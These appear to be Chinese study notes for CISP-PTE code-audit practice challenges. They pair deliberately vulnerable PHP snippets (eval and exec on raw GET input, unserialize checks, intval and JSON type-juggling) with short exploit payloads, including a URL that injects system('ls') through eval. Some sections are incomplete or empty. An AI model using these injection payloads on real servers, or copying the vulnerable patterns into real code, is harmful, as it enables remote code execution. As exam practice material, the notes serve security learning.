pte代码审计模拟1
源代码如下:
php
<?php
error_reporting(0);
$a = $_GET['a'];
eval("\$ret = strtolower(\"$a\");");
echo $ret;
show_source(__FILE__);
?>
-
接收参数
$a
,构造为:eval("$ret = strtolower(\"$a\");");
-
eval()
动态执行,构成代码注入点; -
show_source(__FILE__)
可看到源码,确认存在eval()
; -
strtolower()
是幌子,核心漏洞在于$a
被无过滤拼接进 eval 字符串,可以闭合字符串并注入任意语句。

🚨 1. 漏洞本质
-
代码注入 + eval 执行;
-
你可以闭合
strtolower("
) 后直接注入任意 PHP 代码; -
攻击载荷执行在服务器端,能使用的函数包括
system()
、passthru()
、shell_exec()
、file_get_contents()
等。
🚀 2. 验证 RCE 是否可行
测试命令执行:
/index.php?a=");system("ls");//
执行逻辑还原:
eval('$ret = strtolower("");system("ls");//");');
此时 system("ls")
被执行,终端结果回显。
/index.php?a=");system("ls

pte代码审计模拟2
php
<?php
error_reporting(0);
show_source(__FILE__);
if(strlen($_GET[1]<30)){
echo strlen($_GET[1]);
echo exec($_GET[1]);
}else{
exit('too more');
}
?>

pte代码审计模拟3

php
<?php
error_reporting(0);
include "flag.php";
$TEMP = "CISP";
$str = $_GET['str'];
if (unserialize($str) === $TEMP)
{
echo "$flag";
}
show_source(__FILE__);
/index.php?str=s:4:"CISP";
/index.php?str=s%3A4%3A"CISP"%3B

pte代码审计模拟4
php
<?php
$v1 = 0;
$v2 = 0;
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {
is_numeric(@$a["bar1"]) ? die("nope") : NULL;
if (@$a["bar1"]) {
($a["bar1"] > 2020) ? $v1 = 1 : NULL;
}
if (is_array(@$a["bar2"])) {
if (count($a["bar2"]) != 5 or !is_array($a["bar2"][0])) {
die("nope");
}
$pos = array_search("cisp-pte", $a["bar3"]);
$pos === false ? die("nope") : NULL;
foreach ($a["bar2"] as $key => $val) {
$val == "cisp-pte" ? die("nope") : NULL;
}
$v2 = 1;
}
}
if ($v1 && $v2) {
include "key.php";
echo $key;
}
highlight_file(__file__);
?>
/?w={"bar1":"2025a","bar2":[[],"a","b","c","d"],"bar3":["cisp-pte"]}

pte代码审计模拟6
php
阅读源码,获取flag。
$tis = "我们可以让您生活更轻松";
$gp = $_GET['cx'];
if($gp) {
if(preg_match("/[0-9]/", $gp)) {
$tis = "输入的只能是字符";
} else {
if(intval($gp)) {
$flag = @file_get_contents("../../../flag.txt");
if($flag === false) {
$flag = "flag{file_not_found}";
}
$tis = $flag;
} else {
$tis = "只差一步就可以拿到Flag";
}
}
}
?>


pte代码审计模拟7


pte代码审计模拟8
php
某些PHP intval函数在处理时会出现些问题!
$gp = isset($_GET['cx']) ? $_GET['cx'] : '';
if ($gp) {
if(intval(" .$gp.")<1001 && intval($gp +1)>10000){
$flag = file_get_contents("../../../flag.txt");
$tis = "验证通过!Flag: " . $flag;
$class = "success";
} else {
$tis = "验证失败,请检查输入参数";
$class = "error";
}
} else {
$tis = "请输入测试参数";
$class = "error";
}


pte代码审计模拟9

一个json对象搞定

pte代码审计模拟10


O:4:"User":1:{s:5:"admin";O:5:"Admin":0:{}}